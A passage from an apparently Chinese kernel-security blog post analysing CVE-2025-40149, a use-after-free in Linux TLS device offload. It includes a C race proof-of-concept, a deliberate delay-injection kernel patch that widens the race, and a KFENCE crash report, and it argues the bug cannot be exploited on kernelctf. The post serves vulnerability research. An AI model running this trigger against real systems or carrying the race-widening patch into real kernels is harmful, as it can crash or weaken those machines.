关于内核RCU类型UAF的可利用性的思考

本博客由2045撰写,Eurus友情代发:)

尝试利用一个RCU类型的UAF打kernelctf,最后发现不可能,希望是进度1/5(

起因

事情的起因是2045盯Greg KH回复,发现了一个正在处理中的CVE,CVE-2025-40149

此CVE位于ktls,参照kernelctf的表格,此模块目前是利用成功的热点模块,过去半年,共有6个bug被打成功

所以两眼放光,感觉有希望能打kernelctf!

Bug分析

进一步调研发现,此CVE来源于upstream的一个patch series

名称是 net: Fix UAF of sk_dst_get(sk)->dev

解决了出现在smc、tcp、tls、mptcp中的一种错误的从dst_entry结构体访问net_device结构体指针的模式

以tls的patch为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=c65f27b9c3be
diff --git a/net/tls/tls_device.c b/net/tls/tls_device.c
index f672a62a9a52f6..a82fdcf199690f 100644
--- a/net/tls/tls_device.c
+++ b/net/tls/tls_device.c
@@ -123,17 +123,19 @@ static void tls_device_queue_ctx_destruction(struct tls_context *ctx)
/* We assume that the socket is already connected */
static struct net_device *get_netdev_for_sock(struct sock *sk)
{
- struct dst_entry *dst = sk_dst_get(sk);
- struct net_device *netdev = NULL;
+ struct net_device *dev, *lowest_dev = NULL;
+ struct dst_entry *dst;

- if (likely(dst)) {
- netdev = netdev_sk_get_lowest_dev(dst->dev, sk);
- dev_hold(netdev);
+ rcu_read_lock();
+ dst = __sk_dst_get(sk);
+ dev = dst ? dst_dev_rcu(dst) : NULL;
+ if (likely(dev)) {
+ lowest_dev = netdev_sk_get_lowest_dev(dev, sk);
+ dev_hold(lowest_dev);
}
+ rcu_read_unlock();

- dst_release(dst);
-
- return netdev;
+ return lowest_dev;
}

static void destroy_record(struct tls_record_info *record)

可以看到,原先的代码采用了 sk_dst_get(sk) 获取 struct dst_entry *dst 后,直接访问了net_device结构体指针

netdev = netdev_sk_get_lowest_dev(dst->dev, sk); 中的 dst->dev

根据此patch作者的分析,可以知道,dst->dev可能被释放,应该用RCU锁保护

正确的方式如diff中的新增代码,应添加 rcu_read_lock/rcu_read_unlock

同时,它正确使用了 __sk_dst_getdst_dev_rcu 这两个accessors

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// https://elixir.bootlin.com/linux/v6.19-rc5/source/include/net/sock.h#L2174
static inline struct dst_entry *
__sk_dst_get(const struct sock *sk)
{
return rcu_dereference_check(sk->sk_dst_cache,
lockdep_sock_is_held(sk));
}


// https://elixir.bootlin.com/linux/v6.19-rc5/source/include/net/dst.h#L574
static inline struct net_device *dst_dev_rcu(const struct dst_entry *dst)
{
return rcu_dereference(dst->dev_rcu);
}

这两个accessors使用了正确的RCU解引用函数(它们的作用在RCU代码学习中介绍)

patch也添加了对两个结构体指针的判空检查,修复正确无疑

复现

接下来就是复现,构造了一个PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <linux/tls.h>
#include <errno.h>
#include <stdatomic.h>
#include <time.h>

// === 配置 ===
#define CLIENT_IP "10.0.0.1"
#define SERVER_IP "10.0.0.2"
#define SERVER_PORT 1337

atomic_int start_flag = 0;
atomic_int stop_flag = 0;
atomic_long setsockopt_counter = 0; // 计数器
int global_sock = -1;

void pin_cpu(int cpu_id) {
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(cpu_id, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
}

// 获取微秒时间
long long current_usec() {
struct timespec ts;
clock_gettime(CLOCK_MONOTONIC, &ts);
return ts.tv_sec * 1000000LL + ts.tv_nsec / 1000;
}

void *thread_server(void *arg) {
// 快速切换到已存在的 namespace
int fd = open("/var/run/netns/srv_ns", O_RDONLY);
if (fd < 0) return NULL;
if (setns(fd, CLONE_NEWNET) < 0) { close(fd); return NULL; }
close(fd);

int s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0) return NULL;

int opt = 1;
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));

struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(SERVER_PORT);
addr.sin_addr.s_addr = inet_addr(SERVER_IP);

if (bind(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) { close(s); return NULL; }
listen(s, 1);

// 接受连接
int c = accept(s, NULL, NULL);
// 保持直到结束
while (!atomic_load(&stop_flag)) usleep(1000);
if (c >= 0) close(c);
close(s);
return NULL;
}

void *thread_setsockopt(void *arg) {
pin_cpu(0);
struct tls12_crypto_info_aes_gcm_128 crypto_info = {0};
crypto_info.info.version = TLS_1_2_VERSION;
crypto_info.info.cipher_type = TLS_CIPHER_AES_GCM_128;

while (atomic_load(&start_flag) == 0) __asm__ volatile ("nop");

long count = 0;
while (atomic_load(&stop_flag) == 0) {
// 触发Use
// 这里待改进,其实只有第一次能起效,执行到 get_netdev_for_sock
// 循环后续的调用都执行不到目标函数,很快返回错误码,徒增 count
// 所以目前的 Setsockopt/Loop 数量打印值没有意义
// 目前一个 socket 只能调到 get_netdev_for_sock 一次
// 或许可以一次准备很多 socket
// 或许可以看看有没有逆操作,复用同一个 socket
setsockopt(global_sock, SOL_TLS, TLS_TX, &crypto_info, sizeof(crypto_info));
count++;
}
atomic_fetch_add(&setsockopt_counter, count);
return NULL;
}

void *thread_del_dev(void *arg) {
pin_cpu(1);
while (atomic_load(&start_flag) == 0) __asm__ volatile ("nop");

// 触发Free
system("ip link del veth0 2>/dev/null");

atomic_store(&stop_flag, 1);
return NULL;
}

// 环境配置
void setup_veth() {
system("ip link add veth0 type veth peer name veth1 && "
"ip link set veth1 netns srv_ns && "
"ip addr add " CLIENT_IP "/24 dev veth0 && "
"ip link set veth0 up && "
"ip netns exec srv_ns ip addr add " SERVER_IP "/24 dev veth1 && "
"ip netns exec srv_ns ip link set veth1 up && "
"ip netns exec srv_ns ip link set lo up");
}

int main() {
printf("[*] Starting TELEMETRY mode (Data Collection)...\n");

// 1. 全局初始化
system("ip netns del srv_ns 2>/dev/null");
if (system("ip netns add srv_ns") != 0) {
printf("[-] Failed to create netns. Root?\n");
return 1;
}

int iter = 0;
long long total_time = 0;

while (1) {
long long start_time = current_usec();
atomic_store(&setsockopt_counter, 0);

// 2. 设置 Veth
setup_veth();

atomic_store(&stop_flag, 0);
atomic_store(&start_flag, 0);

pthread_t srv_tid;
pthread_create(&srv_tid, NULL, thread_server, NULL);

// 给服务端一点启动时间,但不要太久
usleep(10000);

global_sock = socket(AF_INET, SOCK_STREAM, 0);
if (global_sock < 0) goto cleanup;

setsockopt(global_sock, SOL_SOCKET, SO_BINDTODEVICE, "veth0", 5);

struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(SERVER_PORT);
addr.sin_addr.s_addr = inet_addr(SERVER_IP);

if (connect(global_sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
goto cleanup;
}

if (setsockopt(global_sock, SOL_TCP, TCP_ULP, "tls", sizeof("tls")) < 0) {
goto cleanup;
}

pthread_t t1, t2;
pthread_create(&t1, NULL, thread_setsockopt, NULL);
pthread_create(&t2, NULL, thread_del_dev, NULL);

usleep(1000);
atomic_store(&start_flag, 1);

pthread_join(t2, NULL);
pthread_join(t1, NULL);

cleanup:
if (global_sock > 0) close(global_sock);
pthread_join(srv_tid, NULL); // 确保 server 退出

// 清理 veth0,为下一轮做准备
system("ip link del veth0 2>/dev/null");

long long end_time = current_usec();
long long duration = end_time - start_time;
long counter = atomic_load(&setsockopt_counter);

total_time += duration;
iter++;

// 每 10 轮打印一次数据
if (iter % 10 == 0) {
printf("[*] Iter: %d | Last Loop: %.2f ms | Avg Loop: %.2f ms | Setsockopt/Loop: %ld\n",
iter,
duration / 1000.0,
(total_time / iter) / 1000.0,
counter);
fflush(stdout);
}
}
return 0;
}

根据以往Linux driver_overrideFreeBSD lagg两个bug的复现经验,可以先尝试改代码注入delay复现

这样的好处是,把bug路径复现和提高race概率两个事情分开

如果两个因素混杂在一起,排查复现失败的原因并尝试改进是十分困难的

如果能成功,之后再完成针对未修改内核的复现

按照这个思路,完成了delay注入的patch,利用 module_param 暴露sysfs接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
diff --git a/net/tls/tls_device.c b/net/tls/tls_device.c
index 6e9ed69a5543..db6d4ec72f19 100644
--- a/net/tls/tls_device.c
+++ b/net/tls/tls_device.c
@@ -42,6 +42,10 @@
#include "tls.h"
#include "trace.h"

+static unsigned int tls_race_delay = 0;
+module_param(tls_race_delay, uint, 0644);
+MODULE_PARM_DESC(tls_race_delay, "Delay in ms to widen get_netdev_for_sock race window");
+
/* device_offload_lock is used to synchronize tls_dev_add
* against NETDEV_DOWN notifications.
*/
@@ -127,7 +131,15 @@ static struct net_device *get_netdev_for_sock(struct sock *sk)
struct net_device *netdev = NULL;

if (likely(dst)) {
- netdev = netdev_sk_get_lowest_dev(dst->dev, sk);
+ struct net_device *raced_dev = dst->dev;
+
+ if (unlikely(tls_race_delay > 0)) {
+ printk(KERN_INFO "[*] Race delay triggered: sleeping for %u ms\n", tls_race_delay);
+ msleep(tls_race_delay);
+ printk(KERN_INFO "[*] Woke up, about to hit UAF\n");
+ }
+
+ netdev = netdev_sk_get_lowest_dev(raced_dev, sk);
dev_hold(netdev);
}

长期玩儿hwmon和sysfs导致的

暴露的接口在 /sys/module/tls/parameters/tls_race_delay

可以利用这样的命令指定延时 echo 100 > /sys/module/tls/parameters/tls_race_delay

单位ms,msleep 是个睡眠等待函数(也有忙等待的函数,例如 udelay/mdelay),这也为后续发展埋下了伏笔(

1
2
3
4
5
6
7
8
9
10
11
12
# ftrace命令,编译内核时需要开启才能使用

# 开启 tracing
cd /sys/kernel/debug/tracing
echo get_netdev_for_sock > set_ftrace_filter
echo function > current_tracer
echo 1 > tracing_on

# 运行你的 PoC

# 查看结果
cat trace

通过ftrace,能看到想调用的 get_netdev_for_sock 确实调用到了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# tracer: function
#
# entries-in-buffer/entries-written: 25/25 #P:2
#
# _-----=> irqs-off/BH-disabled
# / _----=> need-resched
# | / _---=> hardirq/softirq
# || / _--=> preempt-depth
# ||| / _-=> migrate-disable
# |||| / delay
# TASK-PID CPU# ||||| TIMESTAMP FUNCTION
# | | | ||||| | |
poc_telemetry-10093 [000] ..... 223.212367: get_netdev_for_sock <-tls_set_device_offload
poc_telemetry-10184 [000] ..... 223.693107: get_netdev_for_sock <-tls_set_device_offload

设置100ms的延时,能稳定触发如下KFENCE报告(其实KASAN也开了,可能是KFENCE先触发)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
BUG: KFENCE: use-after-free read in netdev_sk_get_lowest_dev+0x43/0x140
Use-after-free read at 0xffff888135da0008 (in kfence-#207):
netdev_sk_get_lowest_dev+0x43/0x140
get_netdev_for_sock+0x165/0x4b0
tls_set_device_offload+0xd1/0xf80
tls_setsockopt+0xfa7/0x1d20
do_sock_setsockopt+0xf8/0x1d0
__sys_setsockopt+0x125/0x1a0
__x64_sys_setsockopt+0xc2/0x160
do_syscall_64+0xc9/0xf80
entry_SYSCALL_64_after_hwframe+0x77/0x7f
kfence-#207: 0xffff888135da0000-0xffff888135da0da7, size=3496, cache=kmalloc-cg-4k
allocated by task 10011 on cpu 1 at 153.754522s (0.486227s ago):
__kvmalloc_node_noprof+0x47f/0xab0
alloc_netdev_mqs+0xdc/0x1560
rtnl_create_link+0xc0d/0xf70
rtnl_newlink+0xb40/0x1f50
rtnetlink_rcv_msg+0x963/0xea0
netlink_rcv_skb+0x15d/0x430
netlink_unicast+0x5a6/0x870
netlink_sendmsg+0x8b5/0xdc0
____sys_sendmsg+0xa6c/0xc40
___sys_sendmsg+0x139/0x1e0
__sys_sendmsg+0x172/0x220
do_syscall_64+0xc9/0xf80
entry_SYSCALL_64_after_hwframe+0x77/0x7f
freed by task 10076 on cpu 1 at 154.195251s (0.058006s ago):
device_release+0xa9/0x240
kobject_put+0x1ef/0x6f0
netdev_run_todo+0x80d/0x12a0
rtnl_dellink+0x473/0xae0
rtnetlink_rcv_msg+0x963/0xea0
netlink_rcv_skb+0x15d/0x430
netlink_unicast+0x5a6/0x870
netlink_sendmsg+0x8b5/0xdc0
____sys_sendmsg+0xa6c/0xc40
___sys_sendmsg+0x139/0x1e0
__sys_sendmsg+0x172/0x220
do_syscall_64+0xc9/0xf80
entry_SYSCALL_64_after_hwframe+0x77/0x7f
CPU: 0 UID: 0 PID: 10073 Comm: poc_telemetry Not tainted 6.19.0-rc8-00001-g2882545008fe-dirty #6 PREEMPT(full)
Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:netdev_sk_get_lowest_dev+0x43/0x140
Code: f8 48 8d 7d 08 48 b8 00 00 00 00 00 fc ff df 48 89 fa 48 c1 ea 03 80 3c 02 00 0f 85 ef 00 00 00 48 b8 00 00 00 00 00 fc ff df <48> 8b 5d 08 48 8d bb 78 01 00 00 48 89 fa 48 c1 ea 03 80 3c 02 00
RSP: 0018:ffffc9001295fbe8 EFLAGS: 00010246
RAX: dffffc0000000000 RBX: ffff88803477b000 RCX: ffffffff819dc02a
RDX: 1ffff11026bb4001 RSI: ffffffff8950d81a RDI: ffff888135da0008
RBP: ffff888135da0000 R08: 0000000000000005 R09: 0000000000000000
R10: 0000000080000000 R11: 0000000000000001 R12: 0000000000000064
R13: ffff888028010cc0 R14: ffff888028d8e538 R15: 1ffff9200252bf8f
FS: 00007f71087096c0(0000) GS:ffff8880ce42c000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffff888135da0008 CR3: 0000000030907000 CR4: 00000000000006f0
Call Trace:
<TASK>
get_netdev_for_sock+0x165/0x4b0
tls_set_device_offload+0xd1/0xf80
? find_held_lock+0x2b/0x80
? __might_fault+0xc1/0x140
? __pfx_tls_set_device_offload+0x10/0x10
? __might_fault+0xc1/0x140
tls_setsockopt+0xfa7/0x1d20
? __pfx_tls_setsockopt+0x10/0x10
? aa_sock_opt_perm+0x103/0x1c0
? sock_common_setsockopt+0x33/0xf0
? __pfx_sock_common_setsockopt+0x10/0x10
do_sock_setsockopt+0xf8/0x1d0
__sys_setsockopt+0x125/0x1a0
__x64_sys_setsockopt+0xc2/0x160
? do_syscall_64+0x94/0xf80
? lockdep_hardirqs_on+0x7b/0x110
do_syscall_64+0xc9/0xf80
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f710902027a
Code: 48 83 ec 10 48 63 c9 48 63 ff 45 89 c9 6a 2c e8 3c d4 f7 ff 48 83 c4 18 c3 0f 1f 80 00 00 00 00 49 89 ca b8 36 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 06 c3 0f 1f 44 00 00 48 8b 15 61 3b 0d 00 f7
RSP: 002b:00007f7108708e68 EFLAGS: 00000246 ORIG_RAX: 0000000000000036
RAX: ffffffffffffffda RBX: 00007f7108709cdc RCX: 00007f710902027a
RDX: 0000000000000001 RSI: 000000000000011a RDI: 0000000000000005
RBP: 00007f7108708ed0 R08: 0000000000000028 R09: 00007f71087096c0
R10: 00007f7108708e90 R11: 0000000000000246 R12: 0000000000000020
R13: 0000000000000000 R14: 00007ffef89761d0 R15: 00007f7107f09000
</TASK>

利用分析

KFENCE报告确认了bug的存在性(挺重要的,很多patch series里的修复是出于加固考虑,实际不能触发)

CONFIG_PREEMPT 下,只要不禁止抢占,内核代码可能在任意地方被打断,和注入delay的现象是一致的

下面考虑可利用性,主要参考之前看到的StackRot (CVE-2023-3269)

作者实现了 use-after-free-by-RCU 的利用,并在2023年的kernelctf上打通

研究发现,两个bug相似程度很高,给了2045很大希望

作者的核心思路,简而言之,就是拖长时间,超过0.5秒,就会触发RCU工作线程发送IPI,顺利结束 synchronize_rcu

我认同作者的观察,但解释是有问题的,提了issue反馈,将在碎碎念中详细探讨

下面对这个tls的bug的Use与Free侧进行分析

Use侧的调用栈:

1
2
3
4
5
6
7
8
9
10
Use-after-free read at 0xffff888135da0008 (in kfence-#207):
netdev_sk_get_lowest_dev+0x43/0x140
get_netdev_for_sock+0x165/0x4b0
tls_set_device_offload+0xd1/0xf80
tls_setsockopt+0xfa7/0x1d20
do_sock_setsockopt+0xf8/0x1d0
__sys_setsockopt+0x125/0x1a0
__x64_sys_setsockopt+0xc2/0x160
do_syscall_64+0xc9/0xf80
entry_SYSCALL_64_after_hwframe+0x77/0x7f

Use侧的关键函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// https://elixir.bootlin.com/linux/v6.17/source/net/tls/tls_device.c#L124
/* We assume that the socket is already connected */
static struct net_device *get_netdev_for_sock(struct sock *sk)
{
struct dst_entry *dst = sk_dst_get(sk);
struct net_device *netdev = NULL;

if (likely(dst)) {
netdev = netdev_sk_get_lowest_dev(dst->dev, sk);
dev_hold(netdev);
}

dst_release(dst);

return netdev;
}


// https://elixir.bootlin.com/linux/v6.17/source/net/core/dev.c#L9199
/**
* netdev_sk_get_lowest_dev - Get the lowest device in chain given device and socket
* @dev: device
* @sk: the socket
*
* %NULL is returned if no lower device is found.
*/

struct net_device *netdev_sk_get_lowest_dev(struct net_device *dev,
struct sock *sk)
{
struct net_device *lower;

lower = netdev_sk_get_lower_dev(dev, sk);
while (lower) {
dev = lower;
lower = netdev_sk_get_lower_dev(dev, sk);
}

return dev;
}

static struct net_device *netdev_sk_get_lower_dev(struct net_device *dev,
struct sock *sk)
{
const struct net_device_ops *ops = dev->netdev_ops;

if (!ops->ndo_sk_get_lower_dev)
return NULL;
return ops->ndo_sk_get_lower_dev(dev, sk);
}

可以看到,bug点在 netdev_sk_get_lowest_dev

根据之前复现时改变加delay点的测试,race窗口较小,在 dst->dev 取出后,dev_hold(netdev) 调用成功前

如果Free侧早于 dst->dev 取出,dst->dev 已被替换为 blackhole_netdevblackhole_netdev 是内核在卸载网卡时,为防止 UAF 而用来替换已失效 dst->dev 指针的一个全局兜底虚拟网卡,它会静默丢弃所有数据包且永远不会被释放),不会发生UAF

如果Free侧晚于 dev_hold(netdev) 调用成功,则因引用计数已增加,无法释放该设备,不会发生UAF

基本就是 netdev_sk_get_lowest_dev 一个函数的窗口

此函数的功能是取出最里层的设备

因此存在一种扩大race窗口的思路,即虚拟设备套娃,例如veth0 -> vlan0 -> bond0 -> macvlan0 -> team0 -> ...(意识到不能打kernelctf后想到的,有待进一步研究,未做实验尝试)

对Use侧发生UAF的危害进行初步分析:可利用性较强(有待进一步研究,未实现真实利用),能获得一整个释放后的net_device结构体,其中含 struct net_device_ops *netdev_ops(net_device_ops含大量函数指针) 等利用潜力高的字段

Free侧的调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
freed by task 10076 on cpu 1 at 154.195251s (0.058006s ago):
device_release+0xa9/0x240
kobject_put+0x1ef/0x6f0
netdev_run_todo+0x80d/0x12a0
rtnl_dellink+0x473/0xae0
rtnetlink_rcv_msg+0x963/0xea0
netlink_rcv_skb+0x15d/0x430
netlink_unicast+0x5a6/0x870
netlink_sendmsg+0x8b5/0xdc0
____sys_sendmsg+0xa6c/0xc40
___sys_sendmsg+0x139/0x1e0
__sys_sendmsg+0x172/0x220
do_syscall_64+0xc9/0xf80
entry_SYSCALL_64_after_hwframe+0x77/0x7f

Free侧的关键函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
// 调用链 rtnetlink_rcv_msg->rtnl_dellink->rtnl_net_unlock->rtnl_unlock->netdev_run_todo
// https://elixir.bootlin.com/linux/v6.17/source/net/core/dev.c#L11452
void netdev_run_todo(void)
{
// 省略

list_replace_init(&net_todo_list, &list); // 这里读取 net_todo_list

__rtnl_unlock();

// 省略

while (!list_empty(&list)) {
dev = netdev_wait_allrefs_any(&list);
list_del(&dev->todo_list);

/* paranoia */
BUG_ON(netdev_refcnt_read(dev) != 1);
BUG_ON(!list_empty(&dev->ptype_all));
BUG_ON(!list_empty(&dev->ptype_specific));
WARN_ON(rcu_access_pointer(dev->ip_ptr));
WARN_ON(rcu_access_pointer(dev->ip6_ptr));

netdev_do_free_pcpu_stats(dev);
if (dev->priv_destructor)
dev->priv_destructor(dev);
if (dev->needs_free_netdev)
free_netdev(dev);

cnt++;

/* Free network device */
kobject_put(&dev->dev.kobj); // 这里释放
}

// 省略
}


// 调用链 rtnetlink_rcv_msg->rtnl_dellink->rtnl_delete_link->unregister_netdevice_many_notify
// https://elixir.bootlin.com/linux/v6.17/source/net/core/dev.c#L12212
void unregister_netdevice_many_notify(struct list_head *head,
u32 portid, const struct nlmsghdr *nlh)
{
// 省略

synchronize_net(); // 这里RCU同步

list_for_each_entry(dev, head, unreg_list) {
netdev_put(dev, &dev->dev_registered_tracker);
net_set_todo(dev); // 这里设置 net_todo_list
cnt++;
}
atomic_add(cnt, &dev_unreg_count);

list_del(head);
}


// https://elixir.bootlin.com/linux/v6.17/source/net/core/rtnetlink.c#L3519
static int rtnl_dellink(struct sk_buff *skb, struct nlmsghdr *nlh,
struct netlink_ext_ack *extack)
{
// 省略

rtnl_net_lock(tgt_net); // 持rtnl锁

if (ifm->ifi_index > 0)
dev = __dev_get_by_index(tgt_net, ifm->ifi_index);
else if (tb[IFLA_IFNAME] || tb[IFLA_ALT_IFNAME])
dev = rtnl_dev_get(tgt_net, tb);

if (dev)
err = rtnl_delete_link(dev, portid, nlh); // 此处调到了 unregister_netdevice_many_notify
else if (ifm->ifi_index > 0 || tb[IFLA_IFNAME] || tb[IFLA_ALT_IFNAME])
err = -ENODEV;
else if (tb[IFLA_GROUP])
err = rtnl_group_dellink(tgt_net, nla_get_u32(tb[IFLA_GROUP]));
else
err = -EINVAL;

rtnl_net_unlock(tgt_net); // 此处调到了 netdev_run_todo

// 省略
}

注意到Free侧的流程是,先在 rtnl_delete_link 中设置释放设备列表,最后在 rtnl_net_unlock->rtnl_unlock->netdev_run_todo 时,真正释放设备

而要设置释放设备列表,调用的是 unregister_netdevice_many_notify

其在调用 net_set_todo 设置设备列表前,需要调用 synchronize_net

其代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// https://elixir.bootlin.com/linux/v6.17/source/net/core/dev.c#L12025
/**
* synchronize_net - Synchronize with packet receive processing
*
* Wait for packets currently being received to be done.
* Does not block later packets from starting.
*/
void synchronize_net(void)
{
might_sleep();
if (from_cleanup_net() || rtnl_is_locked())
synchronize_rcu_expedited();
else
synchronize_rcu();
}

synchronize_net 是一个RCU同步函数,会阻塞等待,只有RCU宽限期(RCU代码学习中解释)结束,才能返回继续执行

注意到一个好消息,由于调用栈是 rtnl_dellink->rtnl_delete_link->unregister_netdevice_many_notify,而在 rtnl_dellink 调用 rtnl_delete_link 前,持了rtnl锁

满足了 rtnl_is_locked 条件,采用的是加速同步版本 synchronize_rcu_expedited

synchronize_rcu_expedited 会在RCU代码学习中详细介绍,其基本原理是不等待,直接发送RCU临界区检查IPI到其他CPU

synchronize_rcu 需要等待其他CPU在调度时主动汇报

因此 synchronize_rcu_expedited 阻塞时间比 synchronize_rcu 短得多

这利于利用,对Use侧race窗口的需求小

将这个tls的bug与StackRot进行对比

  • Use侧的race窗口小,虽然存在理论上的扩大可能,但远不如StackRot(更何况StackRot有基于文件路径的race窗口扩大方式,能扩大窗口到0.5s以上)
  • Free侧需要等待的RCU同步时间短,如上可知,tls的bug使用的是 synchronize_rcu_expedited ,阻塞时间短,而StackRot是 call_rcu/synchronize_rcu

目前的判断:有提权潜力,但race窗口确实小,这是关键要素,目前看肯定不如StackRot(除非虚拟设备套娃很有效)

结论省流版

那为什么说打不了kernelctf呢?

根据研究,所有 use-after-free-by-RCU 的bug(包括StackRot),在现在的kernelctf编译配置下,都打不了

现在的kernelctf,关于抢占的编译配置是 CONFIG_PREEMPT_NONE=y# CONFIG_PREEMPT_DYNAMIC is not set

即,内核线程永远不会发生抢占

按照Linux 5.0之后,广义RCU临界区的定义,不能抢占的线程视作处在RCU临界区

故,包括StackRot和这个tls的bug在内,这种由于没加 rcu_read_lock/rcu_read_unlock 导致的bug,都没法利用

rcu_read_lock/rcu_read_unlockCONFIG_PREEMPT_NONE=y# CONFIG_PREEMPT_DYNAMIC is not set 编译配置下,不会编译出任何指令

加了 rcu_read_lock/rcu_read_unlock 进行修复,对于这种编译配置,不会有任何影响

因此,没修 = 修了,没法打

未来的分析agent可以加一条prompt,过滤掉所有的RCU类bug

细节见后续,省流版已经结束了 :)

kernelctf目标分析

StackRot打通时,2023年,相关抢占编译配置是:

1
2
3
4
5
6
7
8
9
10
CONFIG_PREEMPT_BUILD=y
# CONFIG_PREEMPT_NONE is not set
CONFIG_PREEMPT_VOLUNTARY=y
# CONFIG_PREEMPT is not set
CONFIG_PREEMPT_COUNT=y
CONFIG_PREEMPTION=y
CONFIG_PREEMPT_DYNAMIC=y
# CONFIG_SCHED_CORE is not set
CONFIG_TREE_RCU=y
CONFIG_PREEMPT_RCU=y

目前的相关配置是:

1
2
3
4
5
6
7
8
CONFIG_PREEMPT_NONE_BUILD=y
CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
# CONFIG_PREEMPT_RT is not set
# CONFIG_PREEMPT_DYNAMIC is not set
CONFIG_SCHED_CORE=y
# CONFIG_SCHED_CLASS_EXT is not set

其中,重要的区别是 CONFIG_PREEMPT_COUNTCONFIG_PREEMPT_RCU 没有了

这两者直接决定RCU同步的相关函数是哪个版本

当前的版本没法利用 use-after-free-by-RCU(分析见RCU代码学习)

此外,tls的这个bug由于需要注销网络设备,需要 unprivileged user namespaces

kernelctf存在三种目标(LTS、Mitigation、COS)

万幸,COS的unprivileged user namespaces还开启(COS也是目前唯一开io_uring和nftables的)

总体的趋势是编译选项越关越少(2023年时,三种目标都开启io_uring/nftables/unprivileged user namespaces,更别说其他偷偷关掉的编译选项,例如PREEMPT_DYNAMIC)

早打早超生

Google别杀了,求放我们这些菜鸡一条生路(

RCU代码学习

这里主要是解释上面的结论怎么来的

RCU机制简介

RCU的核心思想:
Read-Copy-Update。核心在于读侧不加锁、不阻塞;写侧更新数据时,先拷贝副本进行修改,然后通过原子操作替换旧指针。对于旧数据的内存释放,RCU会将其推迟,直到所有当前可能正在访问该旧数据的并发读操作全部结束后,再安全地执行释放

最小的RCU原语由以下5个核心函数组成:

  • rcu_read_lock / rcu_read_unlock:标记RCU读临界区的开始和结束。在读侧,它们声明了对RCU保护数据的访问范围
  • rcu_dereference / rcu_assign_pointer:用于在读侧安全地获取指针,以及在写侧安全地发布新指针。它们底层封装了原子读写操作及必要的编译器/内存屏障
  • call_rcu:异步RCU同步原语。写侧通过它注册一个回调函数,直到所有在调用此函数前已经进入RCU临界区的读线程全部退出(主要是被动等待其他CPU发生调度后汇报),由RCU软中断或工作队列异步执行该回调以释放旧内存
  • synchronize_rcu:同步等待原语。阻塞当前线程,直到所有在调用此函数前已经进入RCU临界区的读线程全部退出(主要是被动等待其他CPU发生调度后汇报),函数才会返回
  • synchronize_rcu_expedited:加速版的 synchronize_rcu。它不被动等待CPU调度,而是主动向其他CPU发送IPI来检测是否在RCU临界区,极大地缩短了等待时间,代价是会产生较大的系统开销

RCU的责任划分:

  • RCU机制保证:当写侧发起同步(如调用 synchronize_rcu)时,RCU机制仅保证在同步开始时已经存在于RCU临界区的并发读操作能够顺利完成
  • 使用RCU的内核代码需要保证:一旦开始RCU同步,新进入RCU临界区的代码绝对不能读取到旧的、即将被释放的指针。因为RCU机制不保证同步会等待这些新读者执行完毕。如果代码逻辑错误导致新读者拿到了旧指针,就会发生UAF。这就要求写侧在调用同步原语前,必须先将全局指针断开或指向新数据。同时,RCU机制不保证写-写同步,不提供rcu_write_lock,多个写者需要依赖其他同步原语完成同步

RCU宽限期:
